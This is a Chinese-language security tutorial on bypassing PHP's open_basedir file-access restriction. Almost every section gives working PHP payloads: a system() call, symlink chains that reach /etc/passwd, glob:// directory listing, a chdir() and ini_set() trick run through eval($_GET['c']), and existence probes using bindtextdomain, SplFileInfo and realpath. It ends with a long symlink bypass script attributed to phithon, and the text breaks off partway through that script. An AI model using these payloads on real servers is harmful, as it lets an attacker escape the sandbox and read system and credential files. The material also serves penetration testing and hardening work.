0x01 open_basedir
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。
注意:用open_basedir指定的限制实际上是前缀,而不是目录名。
为了演示下面的几个示例,我这里环境的open_basedir设置为Web目录和tmp目录:
测试一下,我在/home目录中新建一个1.txt文件,尝试对其进行读取,发现读取失败:
换了Web目录及其子目录和tmp目录中的文件就能成功读取,这就是open_basedir所起到的作用。
0x02 利用命令执行函数Bypass
但是open_basedir对命令执行函数没有限制,我们可以使用system()函数试一下,在前面的代码前加上system()代码来进行对比:
<?php //echo file_get_contents('/home/1.txt'); show_source(__FILE__); system('cat /home/1.txt'); ?>
|
确实能够成功读到目标文件,不受open_basedir的限制:
至于其他的命令执行函数可自行尝试。
但是一般情况下,system()等命令执行函数可能会被disable_functions给禁用掉,因此运用到的场景可能并不多。
0x03 利用symlink()函数Bypass
符号链接
符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。
symlink()函数
(PHP 4, PHP 5, PHP 7)
symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。如果成功,该函数返回TRUE;如果失败,则返回FALSE。
symlink ( string $target , string $link ) : bool
|
参数 |
描述 |
---|
target |
必需。连接的目标。 |
link |
必需。连接的名称。 |
当然一般情况下这个target是受限于open_basedir的。
Bypass
先给出payload,原理在后面说明,这里需要跨几层目录就需要创建几层目录:
<?php mkdir("A"); chdir("A"); mkdir("B"); chdir("B"); mkdir("C"); chdir("C"); mkdir("D"); chdir("D"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("A/B/C/D","7ea"); symlink("7ea/../../../../etc/passwd","exp"); unlink("7ea"); mkdir("7ea"); ?>
|
访问该PHP文件后,后台便生成了两个目录和一个名为exp的符号链接:
在Web中我们直接访问exp即可读取到目标文件:
原理就是:创建一个链接文件7ea,用相对路径指向A/B/C/D,再创建一个链接文件exp指向7ea/../../../../etc/passwd。其实指向的就是A/B/C/D/../../../../etc/passwd,其实就是/etc/passwd。这时候删除7ea,再创建一个7ea目录,但exp还是指向7ea/../../../etc/passwd,所以就成功跨到/etc/passwd了。
重点在这四句:
symlink("A/B/C/D","7ea"); symlink("7ea/../../../../etc/passwd","exp"); unlink("7ea"); mkdir("7ea");
|
payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。
0x04 利用glob://伪协议Bypass
glob://伪协议
glob:// — 查找匹配的文件路径模式。
glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:
<?php // 循环 ext/spl/examples/ 目录里所有 *.php 文件 // 并打印文件名和文件尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
|
Bypass
只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。
方式1——DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:
<?php $c = $_GET['c']; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
输入glob:///*
即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件:
方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目。
这里结合两个函数来列举根目录中的文件:
<?php $a = $_GET['c']; if ( $b = opendir($a) ) { while ( ($file = readdir($b)) !== false ) { echo $file."<br>"; } closedir($b); } ?>
|
效果和方式1是一样的,只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
0x05 利用chdir()与ini_set()组合Bypass
基本原理
这种利用方式跟open_basedir存在缺陷的处理逻辑有关,具体原理可参考:
《通过chdir来bypass open_basedir》
《从PHP底层看open_basedir bypass》
Bypass
测试Demo,放置在Web根目录下,在执行输入参数的PHP代码前后获取open_basedir的值看是否改变了:
<?php echo 'open_basedir: '.ini_get('open_basedir').'<br>'; echo 'GET: '.$_GET['c'].'<br>'; eval($_GET['c']); echo 'open_basedir: '.ini_get('open_basedir'); ?>
|
输入以下payload:
mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
|
可以看到open_basedir被设置为’/‘了,整个失去了效果:
注意,如果php文件在Web根目录,则需要构造一个相对可上跳的open_basedir:
mkdir('mi1k7ea'); chdir('mi1k7ea'); ini_set('open_basedir','..');
|
如果php文件直接在Web目录的子目录的话,就可不用创建相对可上跳的open_basedir了。
0x06 利用bindtextdomain()函数Bypass
bindtextdomain()函数
(PHP 4, PHP 5, PHP 7)
bindtextdomain()函数用于绑定domain到某个目录的函数。
函数定义如下:
bindtextdomain ( string $domain , string $directory ) : string
|
Bypass
利用原理是基于报错:bindtextdomain()函数的第二个参数\$directory是一个文件路径,它会在\$directory存在的时候返回\$directory,不存在则返回false。
payload:
<?php printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', $_GET['dir']); var_dump($re); ?>
|
成功访问到存在的文件是会返回当前文件的路径的:
若访问的文件不存在则返回false:
可以看到,和前面几种方法相比,实在是相形见绌,只能应用于判断目标文件是否存在,有利于后续和其他漏洞进行组合利用。
0x07 利用SplFileInfo::getRealPath()类方法Bypass
SplFileInfo类
(PHP 5 >= 5.1.2, PHP 7)
SplFileInfo类为单个文件的信息提供高级面向对象的接口。
SplFileInfo::getRealPath
(PHP 5 >= 5.2.2, PHP 7)
SplFileInfo::getRealPath类方法是用于获取文件的绝对路径。
Bypass
和bindtextdomain的原理一样,是基于报错的方式,返回结果都是一样的,就不再多演示,这里直接给出payload:
<?php echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />'; $info = new SplFileInfo($_GET['dir']); var_dump($info->getRealPath()); ?>
|
0x08 利用realpath()函数Bypass
realpath()函数
(PHP 4, PHP 5, PHP 7)
realpath — 返回规范化的绝对路径名。它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
函数定义如下:
realpath ( string $path ) : string
|
Bypass
环境条件:Windows
基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。
payload:
<?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'E:/wamp64/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s <br/>", $matches[1]); } } ?>
|
可以看到,首字母不同的文件就被列出来了,首字母相同的文件中只列了第一个:
0x09 脚本合集
p牛的脚本
脚本原理就是利用symlink()函数来Bypass的原理。
<?php /* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */ header('content-type: text/plain'); error_reporting(-1); ini_set('display_errors', TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion()); printf("disable_functions: %s\n", ini_get('disable_functions')); $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd'); $relat_file = getRelativePath(__FILE__, $file); $paths = explode('/', $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink');
function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to);
$from = explode('/', $from); $to = explode('/', $to); $relPath = $to;
foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); }
function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } }
function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); }
function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); }
|